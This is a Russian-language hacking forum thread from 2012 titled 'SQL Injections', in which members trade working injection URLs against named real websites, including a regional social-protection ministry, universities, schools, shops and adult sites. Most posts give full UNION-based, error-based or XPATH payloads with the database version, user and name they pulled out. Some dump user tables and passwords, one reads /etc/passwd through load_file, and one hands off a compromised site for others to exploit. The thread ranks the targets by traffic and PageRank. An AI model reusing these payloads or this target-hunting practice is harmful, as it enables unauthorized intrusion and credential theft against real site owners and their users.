SQL Инъекции

Pirotexnik · 18 Jun 2012

http://www.meteonova.ru/search/index.htm?req=liststates&stfrom=1101&stto=-1110+UNION+select+1,cast(concat_ws(0x3a,user,host,password)+as+binary),3,4,5+from+mysql.user+--+
root@localhost
ТИЦ 700
PR 5
трафф - 10к

mix0x0 · 20 Jun 2012

ТЕЛЕФОННЫЙ СПРАВОЧНИК
МИНИСТЕРСТВА СОЦИАЛЬНОЙ ЗАЩИТЫ НАСЕЛЕНИЯ АМУРСКОЙ ОБЛАСТИ
Code:
http://[B][COLOR=Red]help.amurobl.ru[/COLOR][/B]/tel/index.php?id=1[B][COLOR=YellowGreen]+and+1=0+union+select+1,2,group_concat(column_name+separator+0x3a),4,5,6,7,8,9,10,1,12,13+from+information_schema.columns+where+table_name=0x7573657273--+[/b][/COLOR]
5.1.56 / [email protected]
Code:
[B][U]Database[/U][/B]: [B][COLOR=YellowGreen]mszn[/COLOR][/B]

Darth Padla · 21 Jun 2012

PHP:

http://www.toydorks.com/displayproduct.php?item=-1+union+select+1,2,3,group_concat(table_name+separator+0x3C62723E),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables

PR: 4
канада,игрушки

PHP:

http://www.hitchedmag.com/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,group_concat(table_name,0x3a,column_name+separator+0x3C62723E),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+information_schema.columns+--+

PR:3
Code:
http://www.readingmatters.co.uk/book2.php?id=1111111111111111+union+select+1,2,3,4,5,6,7,group_concat(table_name,0x3a,column_name+separator+0x3C62723E),9+from+information_schema.columns+--+
CY:10 PR:5
имеется таблица wp_users в базе readingmatters-wp,но я туда не смог добраться почему-то
Code:
http://www.hondashowoff.com/profile.php?id=-1+union+select+user_password+from+users+--+
Blind sql
CY:10 PR:3
Code:
http://www.greenenaftaligallery.com/artist.php?id=-1+union+select+1,version(),user(),4,5,6,7+--+
PR:5
Code:
http://www.benayoun.com/projet.php?id=-1+union+select+version()/*+
PR:5

nemaniak · 22 Jun 2012

jazzcorner.com PR-6

Code:

www.jazzcorner.com/news/display.php?news=-2060+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,0,11,12,13,14,15,16+--+

Code:

5.0.95-community:[email protected]:jazzcorn_main

leavenworth.org PR-5

Code:

www.leavenworth.org/modules/event/events.php?pageid=26'+and(select+1+from(select+count(*),concat((select+concat_ws(0x3a,version(),user(),database())),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+'QceT'='QceT--&path=26&print=true

Code:

5.0.45:LCC_ChamberR@localhost:lcc1

localcrimenews.com PR-5

Code:

www.localcrimenews.com/lookup.php?uid=99999&jid=-6975733+UnIon+selECt+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+--+&refid=1950&cname=Gilroy

Code:

5.1.63-cll:theur_cacrime@localhost:theur_cacrime

winstrool · 23 Jun 2012

[email protected]:5.0.51a-log:antique

http://www.artantique.ru/article-item.phtml?id='-11'+union+select+concat_ws(0x3a,user(),version(),database())+--+
Click to expand...

[email protected]:5.5.15-log:u329879_bitmafua

http://www.bit-mfua.ru/voting/3/
POST:action=addvoice&answer=11' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select concat_ws(0x3a,user(),version(),database())),1,63) , FLOOR(RAND(0)*2)))#
Click to expand...

rbc@localhost:5.1.29-rc-log:rbc

http://wap.rbc.ru/content/item.phtml?secid=163&flid=-7333035+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),3+--+&itid=63028'c&page=&s=b81f0dca&pid=54886&oid=279&mode=tr
Click to expand...

HellFire · 23 Jun 2012

Возобновляемые источники энергии и энергоэффективность.
Code:
http://www.reeep.org/index.php?id=9353&text=&special=viewitem&cid=1-1+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
Database Version: 5.0.22-Debian_0ubuntu6.06.5-log
Database name: conx26_reeep
User name: [email protected]

ТИЦ: 10
PR: 6

Говнобложек.
Code:
http://www.getoutthere.info/blog.php?id=1-1+UNION+SELECT+1,2,3,4,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),6,7,8,9,10,11,12,13,14--
Database Version: 5.0.86
Database name: getoutthere
User name: posactivities@localhost

ТИЦ: 0
PR: 3

Кофейный магазин.
Code:
http://www.freshcup.com/featured-article.php?id=1-1+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),4,5,6,7--
Database Version: 5.0.77-log
Database name: 417980_freshcup
User name: [email protected]

ТИЦ: 10
PR: 5

Магазин виниловых-наклеек.
Code:
http://www.33dodo.ru/goods.php?id=1-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71),36,37--
Database Version: 5.0.92-log
Database name: dodo6909_33dodoru
User name: dodo6909_33dodor@localhost

ТИЦ: 60
PR: 3

Профессиональное звуковое и световое оборудование.
Code:
http://www.sstrade.ru/goods.php?id=1-1+UNION+SELECT+1,2,3,4,5,6,AES_DECRYPT(AES_ENCRYPT(CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),0x71),0x71)--
Database Version: 4.1.25
Database name: test
User name: root@localhost

ТИЦ: 20
PR: 2

Генетика и магазин реагентов.
Code:
http://imgenex.com/view_data_page.php?id=1-1+UNION+SELECT+1,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),3,4,5,6,7--
Database Version: 5.0.77
Database name: ssingh_plpdb
User name: root@localhost

ТИЦ: 20
PR: 5

AC//DC · 23 Jun 2012

http://www.esoterica.ru/catalog.php?c=1&b=-22%20and%201=2%20union%20select%20aes_decrypt(aes_encrypt(concat_ws(0x3a,@@version,user(),database()),0x71),0x71)+--

4.1.13a-nt-max-log [email protected] gb_esoterica

Skofield · 23 Jun 2012

Code:

http://sites.upc.[B][SIZE=3][COLOR=Lime]edu[/COLOR][/SIZE][/B]/aaupc/index.php?option=com_content&task=view&id=474&idpag=301&Itemid=157&ID=3344+or+(@:=1)||@+group+by+concat((select+substr(concat_ws(0x3a,user,pwd),1,100)+from+users+limit+0,1),@:=@-1)having+@||min(@:=0)--+

Database Version: 5.0.32-Dotdeb_1.dotdeb.1-log
Database name: aaupc
User name: [email protected]

Code:

http://sites.upc.edu/~w-unesco/angles/noticia.php?id=-62+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,0,11,12,13,14+from+information_schema.tables--

Database name: w-unesco
User name: w-unesco@localhost

Zed0x · 25 Jun 2012

SITE: top.ryazan.ru
DB: bukan192_toprzn
MySQL version: 5.1.63
MySQL user: bukan192_btoprzn

Скрин сайта:

Информация о сайте:
тИЦ: 90
Google PageRank: 3
Users: >4000
IP сайта: 92.63.107.233
Страниц в Google: 6090
Веб-сервер: nginx (1.2.1)
Хостинг сайта: webdc.ru

____________________________________________________________
Инъекция:

http://top.ryazan.ru/top.php?cat=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+
Click to expand...

Вывод на страницу: 5,6,12,14

cat1vo · 25 Jun 2012

PHP:

http://www.tesar[dot]ru/faq/?func=show_answer&f_id=1-1+union+all+select+1,concat_ws(0x3a,user(),database(),version()),3--+

User: tesar@localhost
Database: tesar
Version: 5.0.92

PR - 3
CY - 170

PHP:

http://www.edimax[dot]ru/ru/events_detail.php?e_id=1-1+union+all+select+1,2,3,4,user(),file_priv,7,8+from+mysql.user+where+user=0x726f6f74--+

User: [email protected]
Database: edimaxc_ua
Version: 5.0.96
File_priv: Y

PR - 5
CY - 160

Sidarovich1975 · 25 Jun 2012

EDU, pr-4 :

PHP:

http://student.bard.edu/clubs/templates/template2.php?id=-1201'+union+select+concat_ws(CHAR(32,58,32),user(),version(),database())+--+

Результат в сорцах:

[email protected] : 5.0.77-log : tools_new
Click to expand...

Га-Ноцри · 25 Jun 2012

ТИЦ == 10, PR == 4;

PHP:

http://www.kenston.k12.oh.us/khs/kenston.high.school.photo.gallery.php?id=1041'+and+(select+1+from(select+count(*),concat(database(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+h

RazyKK · 27 Jun 2012

lizaalert.org/article.asp?sf=4&sfp=13&id=4++UNION+SELECT+1,2,3,4,5,6,concat(user(),version(),database()),8,9,10,11,12,13,14+LIMIT+1,1--
[email protected]

soft-ufa.ru/?type=page&method=show&id=4++UNION+SELECT+1,concat(user(),version(),database()),3+limit+1,1--
[email protected]_soft

HellFire · 27 Jun 2012

Cайт посвящённый косплею.
Code:
http://www.cosplace.net/coscraft.php?id=1488-666+UNION+SELECT+1,2,CONCAT(Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User()),4,5,6,7,8--
Database Version: 5.0.67-percona-highperf-b7-log
Database name: cosplace
User name: cosplace@localhost

ТИЦ: 10
PR: 2

Институт вычислительных технологий СО РАН.

Вывод результата в названии файла.

Т.к. кол-во символов в названии файла режется - пишу по частям:
Code:
http://www.ict.nsc.ru/jct/getfile.php?id=1-1.1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCAT(Version())-- 
Code:
http://www.ict.nsc.ru/jct/getfile.php?id=1-1.1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCAT(Database())--
Code:
http://www.ict.nsc.ru/jct/getfile.php?id=1-1.1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,CONCAT(User())--
Database Version: 4.0.17
Database name: jct
User name: [email protected]

ТИЦ: 1800
PR: 6

Га-Ноцри · 28 Jun 2012

TИЦ == 10, PR == 2;

PHP:

http://www.victoriya-security.ru/eng/consultation.php?id=-28'+union+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables--+h

TИЦ == 10, PR == 2;

PHP:

http://abkteh.ru/videonabludenie/?vid=-10+union+select+1,2,concat_ws(0x03a,login,password,status),4,5,6,7,8,9+from+users+limit+1,1--

\/ITA · 28 Jun 2012

BEEG.COM - порнушный трафик-холдер

Яндекс тИЦ: 10
Google Page Rank: 4
Доля интеренет трафа: 0.2% - 5-12 миллионов посетителей в день

Выжал за 3 месяца на полную, но скуля осталась. Забирайте.

Error Based XPATH SQLi

http://beeg.com/?id=-1'or(ExtractValue(1,concat(0x5C,(select(SUBSTRING(group_concat(remoteaddr),1,31))from(workers_info)))))And(1)='1
Click to expand...

Уязвимое поле: GET

5.5.21-log
tube_01
/usr/local/share/mysql/
Click to expand...

\/ITA · 28 Jun 2012

www.plugrush.com - еще один порнушный трафик-холдер

Google Page Rank: 2
Доля интернет: 0.03% - 1-2 миллиона посетителей в день (возможно намного больше)

Не добился успеха. Сложная соль, неизвестна админка.

Error Based Duplicate entry SQLi

1'and(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/mid(group_concat(table_name),1,64)/**/from/**/information_schema.tables),1,64),floor(rand(0)*2)))='1
Click to expand...

Уязвимое поле: REFERER

5.0.77-log
plugleap2
[email protected]
Click to expand...

viesearch.com - поисковик

Яндекс тИЦ: 10
Google Page Rank: 4
Доля интеренет: 0.015%

Мало трафа, бросил.

Error Based Duplicate column SQLi

http://viesearch.com/',(select*from/**/(select(name_const(version(),1)),name_const(version(),1))a),'
Click to expand...

Уязвимое поле: GET

5.0.95-community
Click to expand...

Lam3rsha · 29 Jun 2012

http://www.delreyhotel.com/dining.php?ids=6+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2

Database Version: 5.0.95-community
Database name: delrey_delreybd
User name: delrey_delrey@localhost

kingbeef · 29 Jun 2012

Lam3rsha said:

http://www.delreyhotel.com/dining.php?ids=6+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2

Database Version: 5.0.95-community
Database name: delrey_delreybd
User name: delrey_delrey@localhost
Click to expand...

Xsqlinjbegin5.0.95-community/**/delrey_delreybd/**/delrey_delrey@localhostxsqlinjend
Что за бред?
Не легче 0x3a или 0x3c62723e ?

Sidarovich1975 · 29 Jun 2012

EDU в магадан

EDU с базой, в т.ч. е-маил..., ничего не фильтруется, mysql-user - root!! советую поковыряться во всех базах... их там много...

user:database:version

PHP:

http://digilib.stikom.edu/detil.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,user(),database(),version()),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+user+--+

root@localhostcs:5.0.67-0ubuntu6.1
Click to expand...

name,password

PHP:

http://digilib.stikom.edu/detil.php?id=-9+union+select+1,2,3,4,5,6,7,8,UID,Passwd,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+user+--+

кавычки не фильтруются, File_priv=Y =>
load_file

PHP:

http://digilib.stikom.edu/detil.php?id=-9+union+select+1,2,3,4,5,6,7,8,load_file('/etc/passwd'),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+user+--+

SQL Инъекции

Pirotexnik Member

mix0x0 Active Member

Darth Padla Member

nemaniak Elder - Старейшина

winstrool MasterBlind

HellFire Elder - Старейшина

AC//DC Active Member

Skofield Elder - Старейшина

Zed0x Member

cat1vo Level 8

Sidarovich1975 Member

Га-Ноцри Elder - Старейшина

RazyKK Member

HellFire Elder - Старейшина

Га-Ноцри Elder - Старейшина

\/ITA Member

\/ITA Member

Lam3rsha Member

kingbeef Reservists Of Antichat

Sidarovich1975 Member

Useful Searches

SQL Инъекции

Pirotexnik Member

mix0x0 Active Member

Darth Padla Member

nemaniak Elder - Старейшина

winstrool ~~*MasterBlind*~~

HellFire Elder - Старейшина

AC//DC Active Member

Skofield Elder - Старейшина

Zed0x Member

cat1vo Level 8

Sidarovich1975 Member

Га-Ноцри Elder - Старейшина

RazyKK Member

HellFire Elder - Старейшина

Га-Ноцри Elder - Старейшина

\/ITA Member

\/ITA Member

Lam3rsha Member

kingbeef Reservists Of Antichat

Sidarovich1975 Member

winstrool MasterBlind